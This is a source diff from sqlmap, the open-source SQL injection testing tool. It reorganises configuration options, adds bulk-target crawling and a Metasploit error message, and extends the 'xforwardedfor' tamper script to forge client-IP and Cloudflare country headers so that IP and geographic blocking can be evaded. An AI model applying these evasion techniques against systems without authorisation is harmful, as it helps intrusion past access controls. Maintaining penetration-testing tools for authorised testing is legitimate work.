-# Example: http://192.168.1.121/sitemap.xml
-sitemapUrl = 
-
 
 # These options can be used to specify how to connect to the target URL.
 [Request]
@@ -67,6 +63,10 @@ dropSetCookie = False
 # sqlmap will also test for SQL injection on the HTTP User-Agent value.
 agent =
 
+# Imitate smartphone through HTTP User-Agent header.
+# Valid: True or False
+mobile = False
+
 # Use randomly selected HTTP User-Agent header value.
 # Valid: True or False
 randomAgent = False
@@ -176,16 +176,19 @@ safeReqFile =
 # Default: 0
 safeFreq = 0
 
-# Skip URL encoding of payload data
+# Skip URL encoding of payload data.
 # Valid: True or False
 skipUrlEncode = False
 
-# Parameter used to hold anti-CSRF token
+# Parameter used to hold anti-CSRF token.
 csrfToken = 
 
 # URL address to visit to extract anti-CSRF token
 csrfUrl = 
 
+# HTTP method to use during anti-CSRF token page visit.
+csrfMethod =
+
 # Force usage of SSL/HTTPS
 # Valid: True or False
 forceSSL = False
@@ -343,6 +346,10 @@ regexp =
 # code)
 # code = 
 
+# Conduct thorough tests only if positive heuristic(s).
+# Valid: True or False
+smart = False
+
 # Compare pages based only on the textual content.
 # Valid: True or False
 textOnly = False
@@ -683,6 +690,9 @@ sessionFile =
 # Log all HTTP traffic into a textual file.
 trafficFile = 
 
+# Set predefined answers (e.g. "quit=N,follow=N").
+answers =
+
 # Never ask for user input, use the default behaviour.
 # Valid: True or False
 batch = False
@@ -693,6 +703,10 @@ binaryFields =
 # Check Internet connection before assessing the target.
 checkInternet = False
 
+# Clean up the DBMS from sqlmap specific UDF and tables.
+# Valid: True or False
+cleanup = False
+
 # Crawl the website starting from the target URL.
 # Valid: integer
 # Default: 0
@@ -729,6 +743,11 @@ forms = False
 # Valid: True or False
 freshQueries = False
 
+# Use Google dork results from specified page number.
+# Valid: integer
+# Default: 1
+googlePage = 1
+
 # Use hex conversion during data retrieval.
 # Valid: True or False
 hexConvert = False
@@ -752,15 +771,22 @@ repair = False
 # Example: (google|yahoo)
 scope = 
 
+# Skip heuristic detection of WAF/IPS protection.
+# Valid: True or False
+skipWaf = False
+
+# Prefix used for temporary tables.
+# Default: sqlmap
+tablePrefix = sqlmap
+
 # Select tests by payloads and/or titles (e.g. ROW)
 testFilter =
 
 # Skip tests by payloads and/or titles (e.g. BENCHMARK)
 testSkip =
 
-# Update sqlmap.
+# Web server document root directory (e.g. "/var/www").
-# Valid: True or False
+webRoot =
-updateAll = False
 
 
 [Miscellaneous]
@@ -768,9 +794,6 @@ updateAll = False
 # Run host OS command(s) when SQL injection is found.
 alert =
 
-# Set predefined answers (e.g. "quit=N,follow=N").
-answers =
-
 # Beep on question and/or when SQL injection is found.
 # Valid: True or False
 beep = False
@@ -779,10 +802,6 @@ beep = False
 # Valid: True or False
 checkPayload = False
 
-# Clean up the DBMS from sqlmap specific UDF and tables.
-# Valid: True or False
-cleanup = False
-
 # Check for missing (optional) sqlmap dependencies.
 # Valid: True or False
 dependencies = False
@@ -791,36 +810,27 @@ dependencies = False
 # Valid: True or False
 disableColoring = False
 
-# Use Google dork results from specified page number.
-# Valid: integer
-# Default: 1
-googlePage = 1
-
 # Display list of available tamper scripts
 # Valid: True or False
 listTampers = False
 
-# Imitate smartphone through HTTP User-Agent header.
-# Valid: True or False
-mobile = False
-
 # Work in offline mode (only use session data)
 # Valid: True or False
 offline = False
 
-# Skip heuristic detection of WAF/IPS protection.
+# Location of CSV results file in multiple targets mode.
-# Valid: True or False
+resultsFile =
-skipWaf = False
-
-# Conduct thorough tests only if positive heuristic(s).
-# Valid: True or False
-smart = False
 
 # Local directory for storing temporary files.
 tmpDir =
 
-# Web server document root directory (e.g. "/var/www").
+# Adjust options for unstable connections.
-webRoot =
+# Valid: True or False
+unstable = False
+
+# Update sqlmap.
+# Valid: True or False
+updateAll = False
 
 # Simple wizard interface for beginner users.
 # Valid: True or False

sqlmap.py

@@ -34,7 +34,10 @@ try:
     import warnings
 
     warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
+    warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning)
+    warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning)
     warnings.filterwarnings(action="ignore", category=DeprecationWarning)
+    warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2")
 
     from lib.core.data import logger
 
@@ -45,6 +48,7 @@ try:
     from lib.core.common import dataToStdout
     from lib.core.common import filterNone
     from lib.core.common import getDaysFromLastUpdate
+    from lib.core.common import getFileItems
     from lib.core.common import getSafeExString
     from lib.core.common import maskSensitiveData
     from lib.core.common import openFile
@@ -57,6 +61,7 @@ try:
     from lib.core.common import MKSTEMP_PREFIX
     from lib.core.common import setColor
     from lib.core.common import unhandledExceptionMessage
+    from lib.core.compat import xrange
     from lib.core.exception import SqlmapBaseException
     from lib.core.exception import SqlmapShellQuitException
     from lib.core.exception import SqlmapSilentQuitException
@@ -73,6 +78,7 @@ try:
     from lib.core.settings import UNICODE_ENCODING
     from lib.core.settings import VERSION
     from lib.parse.cmdline import cmdLineParser
+    from lib.utils.crawler import crawl
     from thirdparty import six
 except KeyboardInterrupt:
     errMsg = "user aborted"
@@ -135,7 +141,8 @@ def main():
         banner()
 
         # Store original command line options for possible later restoration
-        cmdLineOptions.update(cmdLineParser().__dict__)
+        args = cmdLineParser()
+        cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
         initOptions(cmdLineOptions)
 
         if checkPipedInput():
@@ -177,7 +184,32 @@ def main():
                     profile()
                 else:
                     try:
-                        start()
+                        if conf.crawlDepth and conf.bulkFile:
+                            targets = getFileItems(conf.bulkFile)
+
+                            for i in xrange(len(targets)):
+                                try:
+                                    kb.targets.clear()
+                                    target = targets[i]
+
+                                    if not re.search(r"(?i)\Ahttp[s]*://", target):
+                                        target = "http://%s" % target
+
+                                    infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets))
+                                    logger.info(infoMsg)
+
+                                    crawl(target)
+                                except Exception as ex:
+                                    if not isinstance(ex, SqlmapUserQuitException):
+                                        errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex))
+                                        logger.error(errMsg)
+                                    else:
+                                        raise
+                                else:
+                                    if kb.targets:
+                                        start()
+                        else:
+                            start()
                     except Exception as ex:
                         os._exitcode = 1
 
@@ -263,6 +295,11 @@ def main():
             logger.critical(errMsg)
             raise SystemExit
 
+        elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")):
+            errMsg = "permission error occurred while running Metasploit"
+            logger.critical(errMsg)
+            raise SystemExit
+
         elif all(_ in excMsg for _ in ("No such file", "_'")):
             errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
             errMsg += "You should retrieve the latest development version from official GitHub "

tamper/randomcase.py

@@ -51,7 +51,7 @@ def tamper(payload, **kwargs):
         for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
             word = match.group()
 
-            if (word.upper() in kb.keywords and re.search(r"(?i)[`\"\[]%s[`\"\]]" % word, retVal) is None) or ("%s(" % word) in payload:
+            if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
                 while True:
                     _ = ""
 

tamper/xforwardedfor.py

@@ -16,20 +16,29 @@ def dependencies():
     pass
 
 def randomIP():
-    numbers = []
+    octets = []
 
-    while not numbers or numbers[0] in (10, 172, 192):
+    while not octets or octets[0] in (10, 172, 192):
-        numbers = random.sample(xrange(1, 255), 4)
+        octets = random.sample(xrange(1, 255), 4)
 
-    return '.'.join(str(_) for _ in numbers)
+    return '.'.join(str(_) for _ in octets)
 
 def tamper(payload, **kwargs):
     """
-    Append a fake HTTP header 'X-Forwarded-For'
+    Append a fake HTTP header 'X-Forwarded-For' (and alike)
     """
 
     headers = kwargs.get("headers", {})
     headers["X-Forwarded-For"] = randomIP()
     headers["X-Client-Ip"] = randomIP()
     headers["X-Real-Ip"] = randomIP()
+    headers["CF-Connecting-IP"] = randomIP()
+    headers["True-Client-IP"] = randomIP()
+
+    # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
+    headers["Via"] = "1.1 Chrome-Compression-Proxy"
+
+    # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
+    headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
+
     return payload

thirdparty/beautifulsoup/beautifulsoup.py

@@ -894,7 +894,7 @@ class Tag(PageElement):
 
     def recursiveChildGenerator(self):
         if not len(self.contents):
-            raise StopIteration
+            return  # Note: https://stackoverflow.com/a/30217723 (PEP 479)
         stopNode = self._lastRecursiveChild().next
         current = self.contents[0]
         while current is not stopNode: